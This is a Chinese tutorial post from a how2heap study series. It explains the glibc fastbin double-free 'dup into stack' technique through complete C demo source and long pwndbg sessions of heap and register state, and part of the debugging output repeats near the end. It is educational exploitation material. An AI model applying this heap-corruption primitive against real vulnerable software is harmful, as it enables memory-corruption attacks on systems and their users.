how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
下面的程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。更具体地展示了上一个程序从零开始学howtoheap:理解fastbins的double-free攻击-CSDN博客所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)
这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)
源码如下。
#include
#include
#include
int main()
{
fprintf(stderr, "这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)\n");
unsigned long long stack_var;
fprintf(stderr, "我们想通过 malloc 申请到 %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "先申请3 个 chunk\n");
char* a = malloc(8);
strcpy(a, "AAAAAAAA");
char* b = malloc(8);
strcpy(b, "BBBBBBBB");
char* c = malloc(8);
strcpy(c, "CCCCCCCC");
fprintf(stderr, "chunk a: %p\n", a);
fprintf(stderr, "chunk b: %p\n", b);
fprintf(stderr, "chunk c: %p\n", c);
fprintf(stderr, "free 掉 chunk a\n");
free(a);
fprintf(stderr, "如果还对 %p 进行 free, 程序会崩溃。因为 %p 现在是 fastbin 的第一个\n", a, a);
// free(a);
fprintf(stderr, "先对 b %p 进行 free\n", b);
free(b);
fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);
free(a);
fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "第一次 malloc(8): %p\n", d);
char* e = malloc(8);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "第二次 malloc(8): %p\n", e);
fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
stack_var = 0x20;
fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
char* f = malloc(8);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
char* g = malloc(8);
strcpy(g, "GGGGGGGG");
fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
}
gcc -g fastbin_dup_into_stack.c -o fastbin_dup_into_stack
调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_into_stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_into_stack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
[Inferior 1 (process 147) exited normally]
pwndbg>
三次malloc之后
pwndbg> b 20
Breakpoint 1 at 0x400786: file fastbin_dup_into_stack.c, line 20.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk
Breakpoint 1, main () at fastbin_dup_into_stack.c:20
20 fprintf(stderr, "chunk a: %p\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603050 ◂— 'CCCCCCCC'
RBX 0x0
RCX 0x4343434343434343 ('CCCCCCCC')
RDX 0x603050 ◂— 'CCCCCCCC'
RDI 0x0
RSI 0x603060 ◂— 0x0
R8 0x603000 ◂— 0x0
R9 0xd
R10 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603060 ◂— 0x0
R11 0x0
R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RIP 0x400786 (main+224) ◂— 0x48002018d3058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400786 mov rax, qword ptr [rip + 0x2018d3] <0x602060>
0x40078d mov rdx, qword ptr [rbp - 0x40]
0x400791 mov esi, 0x400b64
0x400796 mov rdi, rax
0x400799 mov eax, 0
0x40079e call fprintf@plt <0x400570>
0x4007a3 mov rax, qword ptr [rip + 0x2018b6] <0x602060>
0x4007aa mov rdx, qword ptr [rbp - 0x38]
0x4007ae mov esi, 0x400b71
0x4007b3 mov rdi, rax
0x4007b6 mov eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
15 char* b = malloc(8);
16 strcpy(b, "BBBBBBBB");
17 char* c = malloc(8);
18 strcpy(c, "CCCCCCCC");
19
► 20 fprintf(stderr, "chunk a: %p\n", a);
21 fprintf(stderr, "chunk b: %p\n", b);
22 fprintf(stderr, "chunk c: %p\n", c);
23
24 fprintf(stderr, "free 掉 chunk a\n");
25 free(a);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x0
02:0010│ 0x7fffffffe570 —▸ 0x603010 ◂— 'AAAAAAAA'
03:0018│ 0x7fffffffe578 —▸ 0x603030 ◂— 'BBBBBBBB'
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400786 main+224
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:20
pwndbg> parsehead
Undefined command: "parsehead". Try "help".
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Used None None
0x603020 0x0 0x20 Used None None
0x603040 0x0 0x20 Used None None
pwndbg> head
Undefined command: "head". Try "help".
pwndbg> heap
heapbase : 0x603000
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x4141414141414141 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4242424242424242 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg>
可以看到由于 double free 造成的循环的指针。
pwndbg> b 35
Breakpoint 2 at 0x40087a: file fastbin_dup_into_stack.c, line 35.
pwndbg> r
pwndbg> c
Continuing.
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
Breakpoint 2, main () at fastbin_dup_into_stack.c:35
35 fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603020 ◂— 0x0
RBX 0x0
RCX 0x7ffff7b04200 (__openat_2+16) ◂— cmp eax, 0x410000 /* '=' */
RDX 0x603020 ◂— 0x0
RDI 0xffffffff
RSI 0x7ffff7dd1b28 (main_arena+8) —▸ 0x603000 ◂— 0x0
R8 0x603010 —▸ 0x603020 ◂— 0x0
R9 0x0
R10 0xe4acace7849ae720
R11 0x246
R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RIP 0x40087a (main+468) ◂— 0x48002017df058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x40087a mov rax, qword ptr [rip + 0x2017df] <0x602060>
0x400881 mov rdi, qword ptr [rbp - 0x40]
0x400885 mov rsi, qword ptr [rbp - 0x40]
0x400889 mov rcx, qword ptr [rbp - 0x38]
0x40088d mov rdx, qword ptr [rbp - 0x40]
0x400891 mov r9, rdi
0x400894 mov r8, rsi
0x400897 mov esi, 0x400c80
0x40089c mov rdi, rax
0x40089f mov eax, 0
0x4008a4 call fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
30 free(b);
31
32 fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);
33 free(a);
34
► 35 fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
36 unsigned long long *d = malloc(8);
37
38 fprintf(stderr, "第一次 malloc(8): %p\n", d);
39 char* e = malloc(8);
40 strcpy(e, "EEEEEEEE");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x0
02:0010│ 0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 40087a main+468
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:35
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Freed 0x603020 None
0x603020 0x0 0x20 Freed 0x603000 None
0x603040 0x0 0x20 Used None None
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000603020 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x0000000000603000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
还剩一个指向chunk a的free chunk,而前面我们也申请到了指向它的 chunk d,可以通过它编辑chunk a的fd 指针,填充一个有意义的地址:栈地址减0x8(因为伪造的chunk要有个 size,size在&stack_var - 0x8的位置上)
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
通过调试我们可以看到,地址为0x603000
的chunk
的fd
指针指向的是栈上的地址,这样的话,malloc一次之后再次申请的时候就会申请到fd指针指向的0x7fffffffe560
pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x62
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x62
R10 0x32783020a29de98d
R11 0x246
R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RIP 0x400973 (main+717) ◂— 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400973 lea rax, [rbp - 0x48]
0x400977 sub rax, 8
0x40097b mov rdx, rax
0x40097e mov rax, qword ptr [rbp - 0x28]
0x400982 mov qword ptr [rax], rdx
0x400985 mov edi, 8
0x40098a call malloc@plt <0x400580>
0x40098f mov qword ptr [rbp - 0x18], rax
0x400993 mov rax, qword ptr [rbp - 0x18]
0x400997 movabs rcx, 0x4646464646464646
0x4009a1 mov qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
42 fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
43 fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
44 stack_var = 0x20;
45
46 fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
► 47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
48
49 char* f = malloc(8);
50 strcpy(f, "FFFFFFFF");
51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
52 char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400973 main+717
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Freed 0x603020 None
0x603020 0x0 0x20 Freed 0x4545454545454545 None
0x603040 0x0 0x20 Used None None
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000603020 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49 char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RDI 0x2
RSI 0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x62
R10 0x32783020a29de98d
R11 0x246
R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RIP 0x400985 (main+735) ◂— 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400973 lea rax, [rbp - 0x48]
0x400977 sub rax, 8
0x40097b mov rdx, rax
0x40097e mov rax, qword ptr [rbp - 0x28]
0x400982 mov qword ptr [rax], rdx
► 0x400985 mov edi, 8
0x40098a call malloc@plt <0x400580>
0x40098f mov qword ptr [rbp - 0x18], rax
0x400993 mov rax, qword ptr [rbp - 0x18]
0x400997 movabs rcx, 0x4646464646464646
0x4009a1 mov qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
44 stack_var = 0x20;
45
46 fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
48
► 49 char* f = malloc(8);
50 strcpy(f, "FFFFFFFF");
51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
52 char* g = malloc(8);
53 strcpy(g, "GGGGGGGG");
54 fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffe570 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400985 main+735
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x00007fffffffe560 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Freed 0x7fffffffe560 None
0x603020 0x0 0x20 Used None None
0x603040 0x0 0x20 Used None None
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x7fffffffe560 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
3.3.4
最后可以看到我们已经分配栈上的内存,绕过fastbin的大小检查,并写入了数据GGGGGGGG。
pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x62
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x62
R10 0x32783020a29de98d
R11 0x246
R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RIP 0x400973 (main+717) ◂— 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400973 lea rax, [rbp - 0x48]
0x400977 sub rax, 8
0x40097b mov rdx, rax
0x40097e mov rax, qword ptr [rbp - 0x28]
0x400982 mov qword ptr [rax], rdx
0x400985 mov edi, 8
0x40098a call malloc@plt <0x400580>
0x40098f mov qword ptr [rbp - 0x18], rax
0x400993 mov rax, qword ptr [rbp - 0x18]
0x400997 movabs rcx, 0x4646464646464646
0x4009a1 mov qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
42 fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
43 fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
44 stack_var = 0x20;
45
46 fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
► 47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
48
49 char* f = malloc(8);
50 strcpy(f, "FFFFFFFF");
51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
52 char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400973 main+717
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Freed 0x603020 None
0x603020 0x0 0x20 Freed 0x4545454545454545 None
0x603040 0x0 0x20 Used None None
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000603020 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49 char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
